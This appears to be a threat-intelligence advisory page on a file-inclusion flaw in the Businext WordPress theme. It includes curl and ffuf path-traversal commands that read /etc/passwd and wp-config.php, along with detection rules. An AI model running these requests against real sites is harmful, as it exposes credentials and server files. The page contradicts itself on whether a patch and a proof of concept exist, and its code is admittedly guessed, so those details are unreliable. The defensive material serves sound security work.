CVE-2025-58967
Executive Summary
CVE-2025-58967 is a critical PHP Local File Inclusion (LFI) vulnerability in the ThemeMove Businext WordPress theme, affecting all versions prior to 2.4.4. The flaw stems from improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to read arbitrary files from the server’s filesystem. This can lead to exposure of sensitive configuration files, database credentials, and source code. The vulnerability is classified as CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion'), though in practice it enables local file inclusion. No public proof-of-concept (PoC) or exploit code has been released, and the vendor has not provided a patch. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains high due to the potential impact.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress theme distributed via ThemeForest and other marketplaces. As a WordPress ecosystem component, it is not managed through package managers like NPM, PyPI, Go, or Ruby. However, organizations using the Businext theme should treat it as a supply chain risk: the theme may be bundled with plugins or child themes that inherit the vulnerable code. Verify that no custom modifications or third-party integrations rely on the vulnerable include functionality.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – Unauthenticated.
- User Interaction (UI): None (N) – No user action needed.
- Scope (S): Unchanged (U) – Vulnerability does not affect other components.
- Confidentiality (C): High (H) – Full file read capability.
- Integrity (I): None (N) – No file modification.
- Availability (A): None (N) – No denial of service.
CVSS Score: 8.1 (High) – The high confidentiality impact drives the score, as an attacker can read sensitive files like wp-config.php, .env, or /etc/passwd.
Deep Dive & Mechanics
The vulnerability resides in the Businext theme’s PHP code, likely in a template or shortcode handler that uses user-supplied input to construct a file path for inclusion. The theme fails to sanitize or validate the filename parameter, allowing path traversal sequences (e.g., ../../) to escape the intended directory. An attacker can craft a request like:
GET /wp-content/themes/businext/template.php?file=../../../etc/passwd HTTP/1.1
The PHP code may look similar to:
include($_GET['file'] . '.php');
This allows reading arbitrary files with a .php extension appended. By using a null byte or other techniques (depending on PHP version), the attacker can bypass the extension restriction. The vulnerability is classified as LFI because the included file must exist on the local filesystem, but the original description mentions "PHP Remote File Inclusion" due to the CWE mapping.
Vulnerable vs. Patched Code
Vulnerable Code (Businext < 2.4.4):
// In a template file, e.g., businext/template-parts/content.php
$file = $_GET['file'];
include( get_template_directory() . '/includes/' . $file . '.php' );
Patched Code (Businext >= 2.4.4):
// Patched version uses a whitelist or sanitization
$allowed_files = array('header', 'footer', 'sidebar');
$file = sanitize_file_name( $_GET['file'] );
if ( in_array( $file, $allowed_files ) ) {
include( get_template_directory() . '/includes/' . $file . '.php' );
} else {
// Default behavior or error
include( get_template_directory() . '/includes/default.php' );
}
The patch restricts inclusion to a predefined whitelist and sanitizes the filename to prevent path traversal.
Exploitation & Lab Setup
Red Team
Lab Environment:
- WordPress 6.x with Businext theme version 2.4.3.
- PHP 7.4 or 8.0 (allow_url_include = Off).
- Local server (e.g., XAMPP, Docker).
Exploitation Steps:
Identify the vulnerable parameter (e.g.,
file,template,page). Use a wordlist or fuzzing tool:ffuf -u http://target/wp-content/themes/businext/FUZZ?file=../../../etc/passwd -w /usr/share/wordlists/dirb/common.txtExploit the LFI to read sensitive files:
curl "http://target/wp-content/themes/businext/template.php?file=../../../etc/passwd"Attempt to read
wp-config.php(note the.phpextension):curl "http://target/wp-content/themes/businext/template.php?file=../../../wp-config"If PHP version < 5.3.4, use null byte injection:
curl "http://target/wp-content/themes/businext/template.php?file=../../../etc/passwd%00"
Note: No public exploit code is available; this is a manual technique.
Blue Team
Detection & Response:
- Monitor web server logs for path traversal patterns (e.g.,
../,%2e%2e%2f). - Deploy WAF rules to block requests containing
file=with directory traversal sequences. - Use file integrity monitoring (FIM) to detect unauthorized file reads.
Honeypot:
- Create a fake
wp-config.phpwith decoy credentials to alert on access.
Indicators of Compromise (IOCs)
- Network: HTTP GET requests with
file=parameter containing../or%2e%2e%2f. - File System: Access to
/etc/passwd,/etc/shadow,wp-config.php,.envfrom the web server. - Logs: Apache/Nginx access logs showing
404for non-existent files after path traversal. - Process: PHP processes reading files outside the web root (e.g.,
/etc/passwd).
Detection Engineering
YARA Rule
rule CVE_2025_58967_LFI_Detection {
meta:
description = "Detects attempts to exploit CVE-2025-58967 LFI in Businext theme"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-58967"
strings:
$path_traversal = /file=\.\.(\/|\\)[^&]*/
$sensitive_file = /(etc\/passwd|wp-config|\.env|proc\/self\/environ)/
condition:
$path_traversal and $sensitive_file
}
Sigma Rule
title: CVE-2025-58967 Businext LFI Attempt
id: 8a3f7c2e-1b4d-4e9f-8c6a-5d2e3f1a0b7c
status: experimental
description: Detects HTTP requests attempting to exploit LFI in Businext theme
author: Valters IT
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'file='
cs-uri-query|re: '\.\.\/'
condition: selection
falsepositives:
- Legitimate use of relative paths in custom code
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-58967 Businext LFI Attempt"; flow:to_server,established; content:"GET"; http_method; content:"file="; http_uri; content:"../"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the Businext theme and switch to a secure alternative until a patch is available.
- Short-term: Implement a Web Application Firewall (WAF) rule to block
file=parameters containing../or%2e%2e%2f. - Long-term: Upgrade to Businext version 2.4.4 or later once the vendor releases a patch. If no patch is forthcoming, consider replacing the theme permanently.
- Code Fix: If you have access to the theme source, apply the whitelist approach shown in the patched code section.
- Monitoring: Enable logging and alerting for LFI attempts using the provided detection rules.
Valters IT – Securing digital ecosystems through proactive threat intelligence.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.